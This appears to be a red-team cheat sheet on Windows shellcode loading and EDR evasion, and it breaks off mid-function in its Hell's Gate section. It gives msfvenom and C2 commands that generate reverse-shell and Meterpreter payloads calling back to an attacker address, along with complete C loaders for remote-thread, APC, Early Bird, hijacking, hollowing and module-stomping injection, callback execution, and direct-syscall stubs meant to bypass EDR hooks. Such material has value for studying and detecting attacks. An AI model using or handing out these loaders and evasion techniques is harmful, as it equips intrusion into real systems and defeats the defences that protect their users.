The definitive guide to shellcode loading techniques, injection methods, evasion strategies, and tooling for Red Team operations.
Legend:
[WIN]= Windows API |[OPSEC]= Operational Security note |[EDR]= EDR Detection consideration |[DETECT]= Detection indicator |[INJECT]= Process Injection variant |[EVADE]= Evasion technique |[LANG]= Language/runtime |[CS]= Cobalt Strike compatible
1. What is a Shellcode Loader?
What it means: A shellcode loader is a program (or script) whose sole purpose is to load raw shellcode (position-independent machine code) into memory and transfer execution to it. The shellcode itself is the payload — typically a reverse shell, a C2 beacon (Cobalt Strike, Sliver, Havoc, etc.), or an injected DLL. The loader is the vehicle that gets the shellcode running while avoiding detection by AV/EDR.
┌─────────────────────────────────────────────────────────────────┐
│ SHELLCODE LOADER PIPELINE │
│ │
│ [PAYLOAD] [LOADER] [EXECUTION] │
│ │
│ Metasploit → Read/Decrypt → VirtualAlloc │
│ Cobalt Strike Decode/Deobfusc WriteProcessMemory │
│ Sliver Fetch from URL CreateThread │
│ Havoc Fetch from DNS APC Queue │
│ Custom Fetch from SMB Fiber │
│ Embed in PE Callback │
│ Embed in DLL Syscall │
│ Process Hollow │
│ │
│ AV/EDR sees: ← Obfuscated loader → ← Encrypted payload │
│ "Benign" "Benign" "Encrypted blob" │
└─────────────────────────────────────────────────────────────────┘
Why Loaders Matter
| Approach | AV/EDR Outcome |
|---|---|
| Drop raw shellcode as EXE | Flagged immediately by static signatures |
| Obfuscated loader + encrypted payload | Avoids static signatures |
| Loader with syscalls + process injection | Avoids dynamic/behavioral hooks |
In-memory loader via execute-assembly |
No file on disk at all |
Shellcode Loader Goals
- Avoid static detection → encrypt/encode the shellcode blob
- Avoid dynamic detection → don't use suspicious Win32 API call sequences
- Avoid behavioral detection → inject into legitimate processes
- Avoid memory scanning → use RW→RX transitions, avoid RWX pages
- Avoid sandbox analysis → evasion sleeps, environment checks
2. Shellcode Basics & Generation
What it means: Shellcode is raw, position-independent machine code — a blob of bytes that can be copied anywhere in memory and executed directly. It contains no PE header, no imports table — it must resolve all Win32 API calls at runtime by walking the PEB (Process Environment Block) to find loaded DLLs.
2.1 Generating Shellcode — msfvenom
# x64 Windows reverse TCP shell (stageless)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.100 LPORT=4444 -f raw -o shell.bin
# x64 Windows Meterpreter (stageless)
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.10.100 LPORT=4444 -f raw -o meter.bin
# Output as C byte array (embed directly in loader source)
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.10.100 LPORT=4444 -f c -o shell.c
# Output as Python byte string
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.10.100 LPORT=4444 -f python -o shell.py
# Output as PowerShell byte array
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.10.100 LPORT=4444 -f ps1 -o shell.ps1
# Output as C# byte array
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.10.100 LPORT=4444 -f csharp -o shell.cs
# Apply encoder to obfuscate (avoid static sigs — weak, use your own crypto instead)
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=10.10.10.100 LPORT=4444 \
-e x64/xor_dynamic -i 5 -f raw -o encoded_shell.bin
# HTTPS payload (SSL C2 — avoids HTTP inspection)
msfvenom -p windows/x64/meterpreter_reverse_https LHOST=10.10.10.100 LPORT=443 -f raw -o https_shell.bin
# Staged shellcode (small stub that calls back to download main payload)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.100 LPORT=4444 -f raw -o staged_shell.bin
2.2 Generating Shellcode — Cobalt Strike
# In Cobalt Strike:
# Attacks → Packages → Windows Executable (S) → select listener → Output: Raw
# Attacks → Packages → Windows Stager → select listener → Output: Raw
# Via aggressor script:
artifact_payload("listenerName", "raw", "x64")
# CS shellcode artifacts are in: /tmp/artifact.bin (or wherever you saved)
2.3 Generating Shellcode — Sliver / Havoc / Brute Ratel
# Sliver C2 — generate shellcode
sliver > generate --mtls --lhost 10.10.10.100 --lport 4444 --format shellcode --os windows --arch amd64 --save /tmp/sliver.bin
# Havoc C2 — shellcode format (from GUI or API)
# Payload → Generate → Format: Shellcode → Arch: x64 → Save
# Brute Ratel C2
# Profile → Payload → Shellcode → x64 → Save
2.4 Inspecting Shellcode
# Check shellcode size and contents
xxd shell.bin | head -30
wc -c shell.bin
# Disassemble shellcode to verify it's correct
ndisasm -b 64 shell.bin | head -50
# Or use:
python3 -c "
import sys
data = open('shell.bin','rb').read()
print(f'[+] Size: {len(data)} bytes')
print('[+] First 16 bytes:', ' '.join(f'{b:02x}' for b in data[:16]))
"
# Convert to C array for embedding
python3 -c "
data = open('shell.bin','rb').read()
arr = ','.join(f'0x{b:02x}' for b in data)
print(f'unsigned char shellcode[] = {{ {arr} }};')
print(f'unsigned int shellcode_len = {len(data)};')
"
3. Classic Win32 API Loader — VirtualAlloc + CreateThread
What it means: The simplest and most well-known loader pattern. Allocate executable memory, copy shellcode in, then create a thread pointing at the shellcode. Highly detected by modern EDRs due to the VirtualAlloc(RWX) → CreateThread call pattern, but good baseline to understand.\
[DETECT] This exact sequence is flagged by virtually every AV/EDR. Never use it raw in production engagements without heavy obfuscation or technique substitution.
3.1 C — Basic VirtualAlloc + CreateThread
#include <windows.h>
#include <stdio.h>
// Shellcode placeholder — replace with real payload
unsigned char shellcode[] = {
0x90, 0x90, 0x90, 0xC3 // NOP NOP NOP RET (placeholder!)
};
unsigned int shellcode_len = sizeof(shellcode);
int main(void) {
// 1. Allocate RWX memory (READ + WRITE + EXECUTE)
// [DETECT] VirtualAlloc with PAGE_EXECUTE_READWRITE = huge red flag
LPVOID mem = VirtualAlloc(
NULL, // Let OS choose address
shellcode_len, // Size
MEM_COMMIT | MEM_RESERVE,// Commit + Reserve
PAGE_EXECUTE_READWRITE // RWX — writable + executable (bad opsec!)
);
if (!mem) {
printf("[-] VirtualAlloc failed: %lu\n", GetLastError());
return 1;
}
// 2. Copy shellcode into allocated memory
memcpy(mem, shellcode, shellcode_len);
// 3. Create thread at shellcode address
HANDLE hThread = CreateThread(
NULL, // Default security attributes
0, // Default stack size
(LPTHREAD_START_ROUTINE)mem, // Thread start = shellcode
NULL, // No parameter
0, // Start immediately
NULL // Don't need thread ID
);
if (!hThread) {
printf("[-] CreateThread failed: %lu\n", GetLastError());
VirtualFree(mem, 0, MEM_RELEASE);
return 1;
}
// 4. Wait for shellcode thread to complete (reverse shell will block here)
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
VirtualFree(mem, 0, MEM_RELEASE);
return 0;
}
# Compile with MinGW (cross-compile from Linux):
x86_64-w64-mingw32-gcc loader.c -o loader.exe -mwindows # GUI app (no console window)
x86_64-w64-mingw32-gcc loader.c -o loader.exe # Console app
# Compile with MSVC (Windows):
cl.exe loader.c /Fe:loader.exe
3.2 Better Pattern — RW Alloc → Copy → VirtualProtect(RX) → Execute
[OPSEC] Allocating RWX is a major detection signal. Instead: allocate RW, copy shellcode, then change to RX (no-write) before executing. This avoids the RWX page which EDRs look for.
#include <windows.h>
unsigned char shellcode[] = { /* your encrypted shellcode */ };
unsigned int shellcode_len = sizeof(shellcode);
int main(void) {
// Step 1: Allocate READ+WRITE only (NOT executable yet)
LPVOID mem = VirtualAlloc(
NULL, shellcode_len,
MEM_COMMIT | MEM_RESERVE,
PAGE_READWRITE // RW only — not yet executable
);
// Step 2: Copy (and optionally decrypt) shellcode into RW memory
// XOR decrypt example:
char key = 0x41;
for (unsigned int i = 0; i < shellcode_len; i++) {
((unsigned char*)mem)[i] = shellcode[i] ^ key;
}
// Step 3: Change memory permissions to READ+EXECUTE (no write!)
DWORD oldProtect;
VirtualProtect(mem, shellcode_len, PAGE_EXECUTE_READ, &oldProtect);
// Step 4: Execute via function pointer (avoids CreateThread signature)
void (*exec)() = (void(*)())mem;
exec(); // Call shellcode directly — simpler, but still detected
VirtualFree(mem, 0, MEM_RELEASE);
return 0;
}
4. Process Injection Techniques
What it means: Instead of running shellcode inside your own loader process (which may be suspicious), inject it into a legitimate, already-running process (explorer.exe, svchost.exe, notepad.exe, etc.). The shellcode runs under the identity and network context of that host process — much harder to attribute and easier to hide.
4.1 Remote Thread Injection (Classic)
Target: A remote process (explorer.exe, svchost.exe, etc.)
[DETECT] OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread = well-known injection signature.
#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>
// Find PID of target process by name
DWORD GetPID(const char* procName) {
DWORD pid = 0;
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe32 = { sizeof(PROCESSENTRY32) };
while (Process32Next(hSnap, &pe32)) {
if (_stricmp(pe32.szExeFile, procName) == 0) {
pid = pe32.th32ProcessID;
break;
}
}
CloseHandle(hSnap);
return pid;
}
int main(void) {
unsigned char shellcode[] = { /* your shellcode here */ };
size_t shellcode_len = sizeof(shellcode);
// 1. Find target PID
DWORD pid = GetPID("explorer.exe");
if (!pid) { printf("[-] explorer.exe not found\n"); return 1; }
printf("[+] Target PID: %lu\n", pid);
// 2. Open target process
HANDLE hProc = OpenProcess(
PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_CREATE_THREAD,
FALSE, pid
);
if (!hProc) { printf("[-] OpenProcess failed\n"); return 1; }
// 3. Allocate memory in remote process (RW first)
LPVOID remoteMem = VirtualAllocEx(
hProc, NULL, shellcode_len,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE
);
// 4. Write shellcode into remote process
SIZE_T written;
WriteProcessMemory(hProc, remoteMem, shellcode, shellcode_len, &written);
// 5. Change permissions to RX in remote process
DWORD oldProt;
VirtualProtectEx(hProc, remoteMem, shellcode_len, PAGE_EXECUTE_READ, &oldProt);
// 6. Create remote thread at shellcode address
HANDLE hThread = CreateRemoteThread(
hProc, NULL, 0,
(LPTHREAD_START_ROUTINE)remoteMem,
NULL, 0, NULL
);
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
CloseHandle(hProc);
return 0;
}
4.2 APC Queue Injection (Asynchronous Procedure Call)
What it means: Instead of creating a new thread (noisy), queue an APC (Asynchronous Procedure Call) to an existing thread in the target process. The APC executes when the thread enters an "alertable wait state" (e.g., SleepEx, WaitForSingleObjectEx). APC injection into an alertable thread is stealthier because no new thread is created.
[OPSEC] Works best against processes with alertable threads. Unreliable if target has no alertable threads.
#include <windows.h>
#include <tlhelp32.h>
// Get thread IDs of a target process
DWORD GetAlertableThread(DWORD pid) {
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
THREADENTRY32 te = { sizeof(THREADENTRY32) };
DWORD tid = 0;
while (Thread32Next(hSnap, &te)) {
if (te.th32OwnerProcessID == pid) {
tid = te.th32ThreadID; // Take first thread found
break;
}
}
CloseHandle(hSnap);
return tid;
}
int main(void) {
unsigned char shellcode[] = { /* your shellcode */ };
size_t sc_len = sizeof(shellcode);
DWORD pid = 1234; // Target PID (use GetPID from above)
// 1. Open target process + thread
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
DWORD tid = GetAlertableThread(pid);
HANDLE hThread = OpenThread(THREAD_SET_CONTEXT, FALSE, tid);
// 2. Allocate + write shellcode in remote process
LPVOID remoteMem = VirtualAllocEx(hProc, NULL, sc_len,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
SIZE_T written;
WriteProcessMemory(hProc, remoteMem, shellcode, sc_len, &written);
// 3. Queue APC to the target thread
// APC fires when the thread calls SleepEx / WaitForSingleObjectEx etc.
QueueUserAPC(
(PAPCFUNC)remoteMem, // APC routine = shellcode address
hThread, // Target thread
0 // APC argument (shellcode ignores this)
);
CloseHandle(hThread);
CloseHandle(hProc);
return 0;
}
4.3 Early Bird APC Injection
What it means: Create a new process in SUSPENDED state, inject shellcode before the process even starts executing, then queue an APC so shellcode runs when the process resumes. Very stealthy because the shellcode executes before any user-mode code in the target.
#include <windows.h>
#include <stdio.h>
int main(void) {
unsigned char shellcode[] = { /* your shellcode */ };
size_t sc_len = sizeof(shellcode);
// 1. Create process in SUSPENDED state
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi = {0};
CreateProcessA(
"C:\\Windows\\System32\\svchost.exe", // Target binary
NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, // KEY: suspended!
NULL, NULL, &si, &pi
);
// 2. Allocate memory in the new (suspended) process
LPVOID remoteMem = VirtualAllocEx(pi.hProcess, NULL, sc_len,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// 3. Write shellcode
SIZE_T written;
WriteProcessMemory(pi.hProcess, remoteMem, shellcode, sc_len, &written);
// 4. Change to RX
DWORD oldProt;
VirtualProtectEx(pi.hProcess, remoteMem, sc_len, PAGE_EXECUTE_READ, &oldProt);
// 5. Queue APC to the main thread (which is still suspended)
QueueUserAPC((PAPCFUNC)remoteMem, pi.hThread, 0);
// 6. Resume — shellcode runs before any of svchost's code!
ResumeThread(pi.hThread);
WaitForSingleObject(pi.hThread, INFINITE);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return 0;
}
4.4 Thread Hijacking (Suspend → Set Context → Resume)
What it means: Suspend an existing thread, save its registers, overwrite RIP (instruction pointer) to point at shellcode, then resume. The thread continues from your shellcode instead of where it was.
[OPSEC] Risky — suspending and resuming threads can crash the target process if done carelessly. Best against single-threaded idle processes.
#include <windows.h>
#include <tlhelp32.h>
int main(void) {
unsigned char shellcode[] = { /* shellcode */ };
size_t sc_len = sizeof(shellcode);
DWORD pid = 4321; // target PID
// 1. Find a thread in target process
HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
THREADENTRY32 te = { sizeof(THREADENTRY32) };
DWORD tid = 0;
while (Thread32Next(hSnap, &te)) {
if (te.th32OwnerProcessID == pid) { tid = te.th32ThreadID; break; }
}
CloseHandle(hSnap);
// 2. Open process and thread
HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, tid);
// 3. Suspend target thread
SuspendThread(hThread);
// 4. Write shellcode into target process
LPVOID mem = VirtualAllocEx(hProc, NULL, sc_len,
MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
SIZE_T written;
WriteProcessMemory(hProc, mem, shellcode, sc_len, &written);
// 5. Get thread context, overwrite RIP with shellcode address
CONTEXT ctx = {0};
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(hThread, &ctx);
ctx.Rip = (DWORD64)mem; // x64: Rip = instruction pointer
SetThreadContext(hThread, &ctx);
// 6. Resume thread — now it executes our shellcode!
ResumeThread(hThread);
CloseHandle(hThread);
CloseHandle(hProc);
return 0;
}
4.5 Process Hollowing
What it means: Create a legitimate process in suspended state, unmap its original code from memory, then write your shellcode/PE at the same base address. When you resume the process, it executes your code while looking like the original process (same name, PID, etc.).
[DETECT] EDRs monitor for NtUnmapViewOfSection followed by WriteProcessMemory into the primary image base.
#include <windows.h>
#include <winternl.h>
#include <stdio.h>
// Requires: NtUnmapViewOfSection from ntdll
typedef NTSTATUS(WINAPI* pNtUnmapViewOfSection)(HANDLE, PVOID);
int main(void) {
// The "hollow" PE payload (your beacon/shellcode as a PE file)
// Load from disk or embedded as byte array
HANDLE hFile = CreateFileA("C:\\Temp\\payload.exe",
GENERIC_READ, 0, NULL, OPEN_EXISTING, 0, NULL);
DWORD fileSize = GetFileSize(hFile, NULL);
BYTE* payloadBuf = (BYTE*)HeapAlloc(GetProcessHeap(), 0, fileSize);
DWORD bytesRead;
ReadFile(hFile, payloadBuf, fileSize, &bytesRead, NULL);
CloseHandle(hFile);
// 1. Spawn sacrificial process (suspended)
STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcessA("C:\\Windows\\System32\\svchost.exe",
NULL, NULL, NULL, FALSE, CREATE_SUSPENDED, NULL, NULL, &si, &pi);
// 2. Get thread context (find base image address via EBX/RBX)
CONTEXT ctx = {0};
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread, &ctx);
// 3. Read PEB to find image base
PVOID imageBase;
ReadProcessMemory(pi.hProcess,
(PVOID)(ctx.Rdx + 0x10), // PEB->ImageBaseAddress offset
&imageBase, sizeof(PVOID), NULL);
// 4. Unmap victim's original image
pNtUnmapViewOfSection NtUnmap = (pNtUnmapViewOfSection)
GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection");
NtUnmap(pi.hProcess, imageBase);
// 5. Parse payload PE headers
PIMAGE_DOS_HEADER dosHdr = (PIMAGE_DOS_HEADER)payloadBuf;
PIMAGE_NT_HEADERS ntHdr = (PIMAGE_NT_HEADERS)(payloadBuf + dosHdr->e_lfanew);
DWORD64 preferredBase = ntHdr->OptionalHeader.ImageBase;
DWORD imageSize = ntHdr->OptionalHeader.SizeOfImage;
// 6. Allocate space in victim at same base
LPVOID newBase = VirtualAllocEx(pi.hProcess, (LPVOID)preferredBase,
imageSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
// 7. Write PE headers + sections
WriteProcessMemory(pi.hProcess, newBase, payloadBuf,
ntHdr->OptionalHeader.SizeOfHeaders, NULL);
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHdr);
for (int i = 0; i < ntHdr->FileHeader.NumberOfSections; i++) {
WriteProcessMemory(pi.hProcess,
(PVOID)((DWORD64)newBase + section[i].VirtualAddress),
payloadBuf + section[i].PointerToRawData,
section[i].SizeOfRawData, NULL);
}
// 8. Fix RCX (entry point in new process context)
ctx.Rcx = (DWORD64)newBase + ntHdr->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(pi.hThread, &ctx);
// 9. Resume — payload now running inside svchost.exe!
ResumeThread(pi.hThread);
HeapFree(GetProcessHeap(), 0, payloadBuf);
return 0;
}
4.6 Module Stomping / DLL Stomping
What it means: Load a legitimate DLL into the target process, then overwrite its .text section with shellcode. The memory page was originally allocated and backed by a legitimate file on disk — so memory scanners that check backing files see a legitimate DLL, not anonymous shellcode.\
[OPSEC] Very effective against memory forensics. Choose a DLL that is rarely scanned or called.
#include <windows.h>
#include <stdio.h>
int main(void) {
unsigned char shellcode[] = { /* shellcode here */ };
size_t sc_len = sizeof(shellcode);
// 1. Load a "sacrificial" DLL into current process
// Choose a DLL that is:
// a) Legitimate and signed (less suspicious)
// b) Has a .text section large enough for your shellcode
// c) Is not actively called (won't crash when overwritten)
HMODULE hMod = LoadLibraryA("xpsservices.dll"); // Example: rarely used DLL
if (!hMod) { printf("[-] LoadLibrary failed\n"); return 1; }
// 2. Find the .text section of the loaded DLL
PIMAGE_DOS_HEADER dosHdr = (PIMAGE_DOS_HEADER)hMod;
PIMAGE_NT_HEADERS ntHdr = (PIMAGE_NT_HEADERS)((BYTE*)hMod + dosHdr->e_lfanew);
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(ntHdr);
BYTE* textBase = NULL;
DWORD textSize = 0;
for (int i = 0; i < ntHdr->FileHeader.NumberOfSections; i++) {
if (strncmp((char*)section[i].Name, ".text", 5) == 0) {
textBase = (BYTE*)hMod + section[i].VirtualAddress;
textSize = section[i].Misc.VirtualSize;
break;
}
}
if (!textBase || textSize < sc_len) {
printf("[-] .text section too small or not found\n");
return 1;
}
// 3. Make the .text section writable
DWORD oldProt;
VirtualProtect(textBase, sc_len, PAGE_EXECUTE_READWRITE, &oldProt);
// 4. Copy shellcode over the DLL's .text section
memcpy(textBase, shellcode, sc_len);
// 5. Restore permissions (RX — no write)
VirtualProtect(textBase, sc_len, PAGE_EXECUTE_READ, &oldProt);
// 6. Execute shellcode (now backed by DLL memory!)
void (*exec)() = (void(*)())textBase;
exec();
return 0;
}
5. Indirect / Stealthy Execution Techniques
What it means: Creating threads directly is noisy. These techniques execute shellcode through legitimate Windows mechanisms — fibers, callback functions, thread pools — that are much less commonly monitored.
5.1 Fiber-Based Execution
What it means: Fibers are user-mode cooperative threads. Converting a thread to a fiber and creating a new fiber that points to shellcode avoids CreateThread entirely. No new thread appears in task manager or thread lists.
#include <windows.h>
unsigned char shellcode[] = { /* shellcode */ };
int main(void) {
LPVOID mem = VirtualAlloc(NULL, sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
memcpy(mem, shellcode, sizeof(shellcode));
DWORD oldProt;
VirtualProtect(mem, sizeof(shellcode), PAGE_EXECUTE_READ, &oldProt);
// Convert current thread to a fiber
LPVOID mainFiber = ConvertThreadToFiber(NULL);
// Create a new fiber pointing at the shellcode
LPVOID shellFiber = CreateFiber(0, (LPFIBER_START_ROUTINE)mem, NULL);
// Switch execution to the shellcode fiber
SwitchToFiber(shellFiber);
// Execution returns here after shellcode finishes (if it does)
DeleteFiber(shellFiber);
return 0;
}
5.2 Callback-Based Execution (No CreateThread!)
What it means: Many Win32 API functions accept callbacks — function pointers that they call internally. By passing a shellcode pointer as a callback, you execute shellcode through a legitimate API call, with no CreateThread or CreateRemoteThread in sight.
#include <windows.h>
unsigned char shellcode[] = { /* shellcode */ };
int main(void) {
// Allocate RW → copy → change to RX
LPVOID mem = VirtualAlloc(NULL, sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
memcpy(mem, shellcode, sizeof(shellcode));
DWORD oldProt;
VirtualProtect(mem, sizeof(shellcode), PAGE_EXECUTE_READ, &oldProt);
// ─────────────────────────────────────────────────────────────────
// METHOD A: EnumWindows callback
// EnumWindows calls your callback for every window — shellcode runs!
EnumWindows((WNDENUMPROC)mem, 0);
// METHOD B: EnumDesktopWindows
// EnumDesktopWindows(GetThreadDesktop(GetCurrentThreadId()), (WNDENUMPROC)mem, 0);
// METHOD C: EnumChildWindows
// EnumChildWindows(NULL, (WNDENUMPROC)mem, 0);
// METHOD D: EnumSystemLocalesA
// EnumSystemLocalesA((LOCALE_ENUMPROCA)mem, 0);
// METHOD E: EnumTimeFormatsA
// EnumTimeFormatsA((TIMEFMT_ENUMPROCA)mem, LOCALE_SYSTEM_DEFAULT, 0);
// METHOD F: CreateTimerQueueTimer (timer callback — delayed execution!)
// HANDLE hQueue = CreateTimerQueue();
// HANDLE hTimer;
// CreateTimerQueueTimer(&hTimer, hQueue, (WAITORTIMERCALLBACK)mem,
// NULL, 1000, 0, WT_EXECUTEONLYONCE); // 1 second delay → runs once
// METHOD G: FlsAlloc (Fiber Local Storage callback on thread exit)
// FlsAlloc((PFLS_CALLBACK_FUNCTION)mem);
// ExitThread(0); // trigger the FLS callback
// METHOD H: SetWindowsHookExA (executed on next message)
// SetWindowsHookExA(WH_CBT, (HOOKPROC)mem, 0, GetCurrentThreadId());
// SendMessage(HWND_BROADCAST, WM_NULL, 0, 0);
return 0;
}
5.3 Thread Pool Execution — TpAllocWork
What it means: Use the Windows Thread Pool API to queue shellcode as a "work item." The thread pool executes it in a legitimate pool worker thread context.
#include <windows.h>
// ntdll function types for thread pool
typedef NTSTATUS (NTAPI *NtCreateThreadEx_t)(
PHANDLE, ACCESS_MASK, PVOID, HANDLE, PVOID, PVOID, ULONG, SIZE_T, SIZE_T, SIZE_T, PVOID);
unsigned char shellcode[] = { /* shellcode */ };
// TpAllocWork via ntdll (avoids CreateThread entirely!)
typedef void* PTP_WORK;
typedef void (*PTP_WORK_CALLBACK)(PTP_CALLBACK_INSTANCE, void*, PTP_WORK);
typedef NTSTATUS (NTAPI* TpAllocWork_t)(PTP_WORK*, PTP_WORK_CALLBACK, void*, void*);
typedef void (NTAPI* TpPostWork_t)(PTP_WORK);
typedef void (NTAPI* TpReleaseWork_t)(PTP_WORK);
int main(void) {
LPVOID mem = VirtualAlloc(NULL, sizeof(shellcode),
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
memcpy(mem, shellcode, sizeof(shellcode));
DWORD old;
VirtualProtect(mem, sizeof(shellcode), PAGE_EXECUTE_READ, &old);
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
TpAllocWork_t TpAllocWork = (TpAllocWork_t) GetProcAddress(ntdll, "TpAllocWork");
TpPostWork_t TpPostWork = (TpPostWork_t) GetProcAddress(ntdll, "TpPostWork");
TpReleaseWork_t TpReleaseWork = (TpReleaseWork_t)GetProcAddress(ntdll, "TpReleaseWork");
PTP_WORK work = NULL;
TpAllocWork(&work, (PTP_WORK_CALLBACK)mem, NULL, NULL);
TpPostWork(work); // Queue shellcode as work item
TpReleaseWork(work);
Sleep(5000); // Wait for thread pool to execute it
return 0;
}
6. Syscall-Based Loaders (Bypassing EDR Hooks)
What it means: Modern EDRs hook Win32 API functions (especially in ntdll.dll) to intercept calls like NtAllocateVirtualMemory, NtWriteVirtualMemory, NtCreateThreadEx, etc. By calling the underlying kernel syscalls directly (bypassing ntdll), your loader is invisible to usermode EDR hooks.
WITHOUT SYSCALL BYPASS:
Loader → VirtualAlloc → kernel32 → ntdll.NtAllocateVirtualMemory → [EDR HOOK HERE!] → kernel
WITH DIRECT SYSCALL:
Loader → [manual syscall stub] → kernel ← EDR never sees it!
6.1 Direct Syscalls — Manual Assembly Stub
What it means: Write assembly stubs that directly issue syscall instructions with the correct syscall numbers, bypassing ntdll entirely.
// syscalls.asm (MASM / NASM)
// Syscall numbers change per Windows version! Use SysWhispers2/3 to generate correct stubs.
; NtAllocateVirtualMemory syscall stub (Windows 10 21H2 example — number WILL vary!)
NtAllocateVirtualMemory PROC
mov r10, rcx ; Windows x64 calling convention
mov eax, 0x18 ; Syscall number for NtAllocateVirtualMemory (VARIES PER BUILD!)
syscall ; Jump directly to kernel
ret
NtAllocateVirtualMemory ENDP
NtWriteVirtualMemory PROC
mov r10, rcx
mov eax, 0x3A ; NtWriteVirtualMemory syscall number (VARIES!)
syscall
ret
NtWriteVirtualMemory ENDP
NtCreateThreadEx PROC
mov r10, rcx
mov eax, 0xC2 ; NtCreateThreadEx syscall number (VARIES!)
syscall
ret
NtCreateThreadEx ENDP
// loader using direct syscall stubs
#include <windows.h>
#include <winternl.h>
// Declarations (implemented in assembly stubs above)
extern NTSTATUS NtAllocateVirtualMemory(HANDLE, PVOID*, ULONG_PTR, PSIZE_T, ULONG, ULONG);
extern NTSTATUS NtWriteVirtualMemory(HANDLE, PVOID, PVOID, SIZE_T, PSIZE_T);
extern NTSTATUS NtProtectVirtualMemory(HANDLE, PVOID*, PSIZE_T, ULONG, PULONG);
extern NTSTATUS NtCreateThreadEx(PHANDLE, ACCESS_MASK, PVOID, HANDLE, PVOID, PVOID,
ULONG, SIZE_T, SIZE_T, SIZE_T, PVOID);
unsigned char shellcode[] = { /* encrypted shellcode */ };
int main(void) {
HANDLE hProc = GetCurrentProcess();
PVOID baseAddr = NULL;
SIZE_T sc_len = sizeof(shellcode);
// 1. Allocate via direct syscall (bypasses EDR hook on VirtualAlloc!)
NtAllocateVirtualMemory(hProc, &baseAddr, 0, &sc_len,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// 2. Write shellcode via direct syscall
SIZE_T written;
NtWriteVirtualMemory(hProc, baseAddr, shellcode, sizeof(shellcode), &written);
// 3. Protect: change to RX
PVOID protBase = baseAddr;
SIZE_T protSize = sizeof(shellcode);
ULONG oldProt;
NtProtectVirtualMemory(hProc, &protBase, &protSize, PAGE_EXECUTE_READ, &oldProt);
// 4. Create thread via direct syscall
HANDLE hThread;
NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, hProc,
baseAddr, NULL, 0, 0, 0, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
return 0;
}
6.2 SysWhispers2 / SysWhispers3 — Automated Syscall Generation
What it means: SysWhispers2/3 automatically generates C header files and assembly stubs for all NT syscalls on any target Windows version. It handles syscall number resolution at runtime.
# Install SysWhispers2
git clone https://github.com/jthuraisamy/SysWhispers2
cd SysWhispers2
pip3 install -r requirements.txt
# Generate stubs for specific functions (MASM output)
python3 syswhispers.py --functions NtAllocateVirtualMemory,NtWriteVirtualMemory,NtProtectVirtualMemory,NtCreateThreadEx,NtOpenProcess --output syscalls
# Generates:
# syscalls.h → C function declarations
# syscallsstubs.asm → MASM assembly stubs
# SysWhispers3 (newer — supports x86/WoW64, and inline assembly)
git clone https://github.com/klezVirus/SysWhispers3
python3 syswhispers.py --functions NtAllocateVirtualMemory,NtCreateThreadEx --output syscalls3 --arch x64
// Usage in loader (after including SysWhispers-generated files):
#include "syscalls.h"
unsigned char shellcode[] = { /* your shellcode */ };
int main(void) {
HANDLE hProc = NtCurrentProcess();
PVOID baseAddr = NULL;
SIZE_T sc_len = sizeof(shellcode);
// All calls go directly to kernel — EDR hooks bypassed!
SW2_NtAllocateVirtualMemory(hProc, &baseAddr, 0, &sc_len,
MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
SIZE_T written;
SW2_NtWriteVirtualMemory(hProc, baseAddr, shellcode, sizeof(shellcode), &written);
PVOID protAddr = baseAddr;
ULONG old;
SW2_NtProtectVirtualMemory(hProc, &protAddr, &sc_len, PAGE_EXECUTE_READ, &old);
HANDLE hThread;
SW2_NtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProc,
baseAddr, NULL, FALSE, 0, 0, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
return 0;
}
6.3 Hell's Gate — Dynamic Syscall Resolution
What it means: Instead of hardcoding syscall numbers (which change per Windows build), Hell's Gate reads the syscall number directly from the NtAllocateVirtualMemory function in memory at runtime — even if hooked, it finds the original syscall number by reading nearby bytes.
// Hell's Gate — reads syscall number directly from ntdll at runtime
// GitHub: https://github.com/am0nsec/HellsGate
// A simplified version:
DWORD GetSyscallNumber(const char* funcName) {
